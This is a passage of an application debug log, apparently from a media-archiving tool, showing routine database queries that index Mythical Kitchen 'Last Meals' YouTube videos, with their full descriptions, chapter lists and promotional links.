Sending A Text With Excel\n2:08 How Often Do You Think About Death?\n3:26 1st Course: Caviar & Potato Chips\n4:44 Producing Mea Culpa\n6:30 Kelly's First Onscreen Death\n8:47 The Most Beautiful Explanation Of Death\n11:02 2nd Course - Tacos, Cheeseburger, Fries, & Pineapple Margarita\n14:57 Early Career & Singing In Church\n17:10 Learning Self Worth Through Parenting\n19:59 New Music & Current Genre Obsessions\n21:50 3rd Course - A5 Wagyu & Mashed Potatoes\n24:31 Working Hard For The Finer Things\n27:05 Parenting As A Healing Journey\n28:43 Raising Emotionally Intelligent Kids\n30:30 4th Course - Peach Cobbler, Chocolate Peanut Butter Pie, & Chocolate Cake\n33:14 Chosen Family With Beyonce & Reconnecting With Dad\n37:08 Lightning Round\n39:59 Kelly's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Kelly Rowland Eats Her Last Meal", "https://www.youtube.com/watch?v=o2MMhAcHMEk", "o2MMhAcHMEk", 2470, false, "/downloads/Last Meals/2024-02-27 Kelly Rowland Eats Her Last Meal/Kelly Rowland Eats Her Last Meal [o2MMhAcHMEk].mp4", false, 1, ~U[2024-02-27 11:00:41Z]] 20:49:32.287 [debug] QUERY OK source="sources" db=0.0ms idle=19.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.288 [debug] QUERY OK source="media_items" db=0.1ms idle=3.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-26 10:00:48Z], 1] 20:49:32.289 [debug] QUERY OK source="media_items" db=0.7ms idle=3.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["This episode includes mention of self harming behavior and drug addiction, which may not be suitable for all audiences. Please enjoy at your discretion. Today, Andrew Zimmern eats his last meal. \n\nTune in to Grill Week all day from June 30th to July 4th, streaming on Tastemade: https://www.tastemade.com/grill-week-2025\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Andrew's Last Meal\n0:22 Alternate Names For Bizarre Foods\n1:48 Have You Thought About Your Last Meal Before?\n2:22 Shucking Clams At The Beach\n3:18 1st Course\n4:09 Food Gives Us The Chance To Revisit Memories\n6:00 Patience, Tolerance, & Understanding\n8:47 Otter vs. Bear\n9:20 Andrew's Inspiration\n11:15 Defining A Great Chef\n12:45 Inspector Gadget Meets Pacman\n13:30 2nd Course\n15:30 What Makes You Cry?\n17:39 Spending Thanksgiving At The Salvation Army\n20:12 \"Can You Help Me?\"\n22:33 3rd Course\n25:16 From Dishwasher To Chef\n27:30 Anthony Bourdain\n29:50 Someone Who Truly Knows You\n32:43 4th Course\n34:03 A Second Date\n35:09 No One Can Buy Time\n36:24 What Do You Think Happens When You Die?\n37:36 Lightning Round\n40:55 Andrew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Andrew Zimmern Eats His Last Meal", "d37fbbea-011c-4d87-b6b9-c3db239bb07e", "https://www.youtube.com/watch?v=PKwAk6CDqKc", false, "PKwAk6CDqKc", 2574, false, 32, "/downloads/Last Meals/2025-06-26 Andrew Zimmern Eats His Last Meal/Andrew Zimmern Eats His Last Meal [PKwAk6CDqKc].mp4", false, false, 1, [], 1, ~U[2025-06-26 10:00:48Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "This episode includes mention of self harming behavior and drug addiction, which may not be suitable for all audiences. Please enjoy at your discretion. Today, Andrew Zimmern eats his last meal. \n\nTune in to Grill Week all day from June 30th to July 4th, streaming on Tastemade: https://www.tastemade.com/grill-week-2025\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Andrew's Last Meal\n0:22 Alternate Names For Bizarre Foods\n1:48 Have You Thought About Your Last Meal Before?\n2:22 Shucking Clams At The Beach\n3:18 1st Course\n4:09 Food Gives Us The Chance To Revisit Memories\n6:00 Patience, Tolerance, & Understanding\n8:47 Otter vs. Bear\n9:20 Andrew's Inspiration\n11:15 Defining A Great Chef\n12:45 Inspector Gadget Meets Pacman\n13:30 2nd Course\n15:30 What Makes You Cry?\n17:39 Spending Thanksgiving At The Salvation Army\n20:12 \"Can You Help Me?\"\n22:33 3rd Course\n25:16 From Dishwasher To Chef\n27:30 Anthony Bourdain\n29:50 Someone Who Truly Knows You\n32:43 4th Course\n34:03 A Second Date\n35:09 No One Can Buy Time\n36:24 What Do You Think Happens When You Die?\n37:36 Lightning Round\n40:55 Andrew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Andrew Zimmern Eats His Last Meal", "https://www.youtube.com/watch?v=PKwAk6CDqKc", "PKwAk6CDqKc", 2574, false, "/downloads/Last Meals/2025-06-26 Andrew Zimmern Eats His Last Meal/Andrew Zimmern Eats His Last Meal [PKwAk6CDqKc].mp4", false, 1, ~U[2025-06-26 10:00:48Z]] 20:49:32.289 [debug] QUERY OK source="sources" db=0.0ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.289 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-21 10:00:09Z], 1] 20:49:32.290 [debug] QUERY OK source="media_items" db=1.0ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Karen Gillan eats her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Karen's Last Meal Menu\n0:29 Nebula Goes To Therapy\n1:38 How Often Do You Think About Death?\n2:32 1st Course - Scottish Breakfast & Yorkshire Tea\n4:30 Karen Loves ASMR\n5:16 Caffeine, Anxiety, & Tattie Scones\n6:11 Childhood & Growing Self Confidence\n10:35 Sleeping Dogs & Life's Mysteries\n11:28 TikTok & Personality Disorders\n13:24 2nd Course - Mince & Doughboys\n15:02 Directing Experience & Interactions With Fans\n17:26 Collaborating With Her Husband (Chillin With Gillan)\n18:36 Navigating Popularity\n19:58 Public Speaking & Leaning Into Anxiety\n21:57 3rd Course - Haggis, Neeps, Tatties, & Yorkshire Pudding\n25:02 Karen's Love For Horror\n26:50 Watching Plane Crash Videos\n27:58 What Happens When You Die?\n30:18 Lightning Round\n32:53 Karen's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Karen Gillan Eats Her Last Meal", "d872d14c-66f7-43e0-a845-e51a5db3fc08", "https://www.youtube.com/watch?v=8jevdCS5kvc", false, "8jevdCS5kvc", 2023, false, 33, "/downloads/Last Meals/2024-03-21 Karen Gillan Eats Her Last Meal/Karen Gillan Eats Her Last Meal [8jevdCS5kvc].mp4", false, false, 1, [], 1, ~U[2024-03-21 10:00:09Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Karen Gillan eats her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Karen's Last Meal Menu\n0:29 Nebula Goes To Therapy\n1:38 How Often Do You Think About Death?\n2:32 1st Course - Scottish Breakfast & Yorkshire Tea\n4:30 Karen Loves ASMR\n5:16 Caffeine, Anxiety, & Tattie Scones\n6:11 Childhood & Growing Self Confidence\n10:35 Sleeping Dogs & Life's Mysteries\n11:28 TikTok & Personality Disorders\n13:24 2nd Course - Mince & Doughboys\n15:02 Directing Experience & Interactions With Fans\n17:26 Collaborating With Her Husband (Chillin With Gillan)\n18:36 Navigating Popularity\n19:58 Public Speaking & Leaning Into Anxiety\n21:57 3rd Course - Haggis, Neeps, Tatties, & Yorkshire Pudding\n25:02 Karen's Love For Horror\n26:50 Watching Plane Crash Videos\n27:58 What Happens When You Die?\n30:18 Lightning Round\n32:53 Karen's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Ass (truncated) 20:49:32.291 [debug] QUERY OK source="sources" db=0.0ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.291 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-27 10:00:10Z], 1] 20:49:32.292 [debug] QUERY OK source="media_items" db=0.7ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Kathryn Hahn eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Kathryn's Last Meal\n0:51 Have You Thought About Your Last Meal Before?\n2:10 1st Course\n2:55 Growing Up In Cleveland\n4:56 Gen Z Lingo\n7:01 Crossing Jordache & Playing A Grief Counselor\n10:17 Who Said This, Lily Or Nietzsche?\n11:25 Don't Miss SURVIVE THE MYTHICAL KITCHEN\n11:48 2nd Course\n14:04 Growing Up With Funny Parents\n15:28 Plotting Adam Scott's Murder\n17:27 Vulnerability in Acting\n19:30 Captain Fantastic\n21:41 3rd Course\n23:19 Agatha All Along\n25:37 Being Witchy\n28:48 4th Course\n30:56 The Swedish Art Of Death Cleaning\n33:38 What Do You Think Happens When You Die?\n34:51 Lightning Round\n38:00 Kathryn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Kathryn Hahn Eats Her Last Meal", "177c8a57-4d37-4437-b57c-3726a85ae417", "https://www.youtube.com/watch?v=AuH68t1gLw4", false, "AuH68t1gLw4", 2331, false, 34, "/downloads/Last Meals/2025-03-27 Kathryn Hahn Eats Her Last Meal/Kathryn Hahn Eats Her Last Meal [AuH68t1gLw4].mp4", false, false, 1, [], 1, ~U[2025-03-27 10:00:10Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Kathryn Hahn eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Kathryn's Last Meal\n0:51 Have You Thought About Your Last Meal Before?\n2:10 1st Course\n2:55 Growing Up In Cleveland\n4:56 Gen Z Lingo\n7:01 Crossing Jordache & Playing A Grief Counselor\n10:17 Who Said This, Lily Or Nietzsche?\n11:25 Don't Miss SURVIVE THE MYTHICAL KITCHEN\n11:48 2nd Course\n14:04 Growing Up With Funny Parents\n15:28 Plotting Adam Scott's Murder\n17:27 Vulnerability in Acting\n19:30 Captain Fantastic\n21:41 3rd Course\n23:19 Agatha All Along\n25:37 Being Witchy\n28:48 4th Course\n30:56 The Swedish Art Of Death Cleaning\n33:38 What Do You Think Happens When You Die?\n34:51 Lightning Round\n38:00 Kathryn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Kathryn Hahn Eats Her Last Meal", "https://www.youtube.com/watch?v=AuH68t1gLw4", "AuH68t1gLw4", 2331, false, "/downloads/Last Meals/2025-03-27 Kathryn Hahn Eats Her Last Meal/Kathryn Hahn Eats Her Last Meal [AuH68t1gLw4].mp4", false, 1, ~U[2025-03-27 10:00:10Z]] 20:49:32.292 [debug] QUERY OK source="sources" db=0.0ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.292 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-16 11:01:08Z], 1] 20:49:32.294 [debug] QUERY OK source="media_items" db=1.0ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Simone Giertz eats her last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Simone's Last Meal\n1:49 How Often Do You Think About Death?\n3:23 1st Course\n6:24 Former Queen Of Shitty Robots\n9:18 Seeing Humanity In Robots\n10:13 Inventing The First Tesla Pickup Truck\n11:21 A Pawn In Robot Overlord Propaganda\n12:05 2nd Course\n14:04 Surviving A Brain Tumor\n16:40 Learning To Ask For Help\n18:03 Dating Your Brain Tumor (& Sending It To Antarctica)\n20:46 3rd Course\n21:48 FORKS\n25:30 Starring In A Chinese Sitcom\n28:48 Am I Ever Going To Feel Better?\n30:49 Generational Fate\n32:07 4th Course\n35:15 Spirituality\n36:45 Simone's Future\n37:54 Lightning Round\n40:25 Simone's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - 